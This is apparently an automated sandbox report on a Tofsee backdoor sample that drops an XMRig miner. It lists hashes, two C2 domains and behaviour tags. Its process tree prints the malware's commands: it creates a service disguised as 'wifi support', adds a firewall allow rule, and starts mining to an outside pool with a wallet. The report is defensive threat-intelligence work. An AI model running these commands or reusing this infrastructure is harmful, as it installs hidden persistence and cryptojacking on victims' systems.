Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    01-10-2023 19:47

General

  • Target

    38eca8e8f88a15c11fdfeadf43c454386d27f479eb1235ae4ddaf3958624ba0a_JC.exe

  • Size

    234KB

  • MD5

    3e54bc559813b3b887de44604644a083

  • SHA1

    6af11930891b523991ee1115c15e9d72b46f3a28

  • SHA256

    38eca8e8f88a15c11fdfeadf43c454386d27f479eb1235ae4ddaf3958624ba0a

  • SHA512

    38a25887bf7ef217dc4ab88a734fdb41a46bc675cde1fe3a7217810754f6bd9be1410c6c2df5bb7d70ff38df20cc828c89fe1d66f0d906e1f37be07760147133

  • SSDEEP

    3072:HDER0MfinkOKUtMSdWxLZ9dUMglZlwrrKST4S5/RFleRATO34:EfQZdWjXUhZ6ZvR0ATV

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\38eca8e8f88a15c11fdfeadf43c454386d27f479eb1235ae4ddaf3958624ba0a_JC.exe
    "C:\Users\Admin\AppData\Local\Temp\38eca8e8f88a15c11fdfeadf43c454386d27f479eb1235ae4ddaf3958624ba0a_JC.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1280
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kywbixoc\
      2⤵
        PID:2180
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pjjbeose.exe" C:\Windows\SysWOW64\kywbixoc\
        2⤵
          PID:2772
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kywbixoc binPath= "C:\Windows\SysWOW64\kywbixoc\pjjbeose.exe /d\"C:\Users\Admin\AppData\Local\Temp\38eca8e8f88a15c11fdfeadf43c454386d27f479eb1235ae4ddaf3958624ba0a_JC.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2976
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kywbixoc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2796
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kywbixoc
          2⤵
          • Launches sc.exe
          PID:2924
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2692
      • C:\Windows\SysWOW64\kywbixoc\pjjbeose.exe
        C:\Windows\SysWOW64\kywbixoc\pjjbeose.exe /d"C:\Users\Admin\AppData\Local\Temp\38eca8e8f88a15c11fdfeadf43c454386d27f479eb1235ae4ddaf3958624ba0a_JC.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2524
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3044
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2820

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\pjjbeose.exe

        Filesize

        13.7MB

        MD5

        7538b8e0272da5bbc27e3551a6f1a80f

        SHA1

        327627a72b4f0de8f06854855d5da9e8e5daef77

        SHA256

        460973625a1c04e49671cfb5c700bfece9c97bfa43245eef5dc845116931d832

        SHA512

        84dbbc82fcdcb1c54eff72b2705a4c1debf6eb3de2632e214cb618e47491b47c2461a028b2f636d6f792f311f5972a4ceaea2febab7f79cae508526a5e5a3985

      • C:\Windows\SysWOW64\kywbixoc\pjjbeose.exe

        Filesize

        13.7MB

        MD5

        7538b8e0272da5bbc27e3551a6f1a80f

        SHA1

        327627a72b4f0de8f06854855d5da9e8e5daef77

        SHA256

        460973625a1c04e49671cfb5c700bfece9c97bfa43245eef5dc845116931d832

        SHA512

        84dbbc82fcdcb1c54eff72b2705a4c1debf6eb3de2632e214cb618e47491b47c2461a028b2f636d6f792f311f5972a4ceaea2febab7f79cae508526a5e5a3985

      • memory/1280-0-0x0000000000220000-0x0000000000235000-memory.dmp

        Filesize

        84KB

      • memory/1280-1-0x00000000005E0000-0x00000000005F3000-memory.dmp

        Filesize

        76KB

      • memory/1280-2-0x0000000000400000-0x0000000000447000-memory.dmp

        Filesize

        284KB

      • memory/1280-5-0x0000000000400000-0x0000000000447000-memory.dmp

        Filesize

        284KB

      • memory/1280-6-0x00000000005E0000-0x00000000005F3000-memory.dmp

        Filesize

        76KB

      • memory/1280-7-0x0000000000220000-0x0000000000235000-memory.dmp

        Filesize

        84KB

      • memory/2524-9-0x0000000000400000-0x0000000000447000-memory.dmp

        Filesize

        284KB

      • memory/2524-15-0x0000000000400000-0x0000000000447000-memory.dmp

        Filesize

        284KB

      • memory/2820-76-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2820-75-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2820-74-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2820-73-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2820-72-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2820-71-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2820-63-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2820-61-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/3044-36-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/3044-45-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/3044-32-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/3044-33-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/3044-34-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/3044-35-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/3044-26-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

      • memory/3044-37-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/3044-38-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/3044-39-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/3044-40-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/3044-41-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/3044-42-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/3044-43-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/3044-44-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/3044-29-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/3044-46-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/3044-47-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/3044-48-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/3044-49-0x0000000000150000-0x0000000000155000-memory.dmp

        Filesize

        20KB

      • memory/3044-52-0x0000000000150000-0x0000000000155000-memory.dmp

        Filesize

        20KB

      • memory/3044-53-0x00000000055E0000-0x00000000059EB000-memory.dmp

        Filesize

        4.0MB

      • memory/3044-56-0x00000000055E0000-0x00000000059EB000-memory.dmp

        Filesize

        4.0MB

      • memory/3044-57-0x0000000000200000-0x0000000000207000-memory.dmp

        Filesize

        28KB

      • memory/3044-25-0x0000000001970000-0x0000000001B7F000-memory.dmp

        Filesize

        2.1MB

      • memory/3044-22-0x0000000001970000-0x0000000001B7F000-memory.dmp

        Filesize

        2.1MB

      • memory/3044-21-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/3044-19-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/3044-18-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/3044-10-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/3044-13-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/3044-11-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB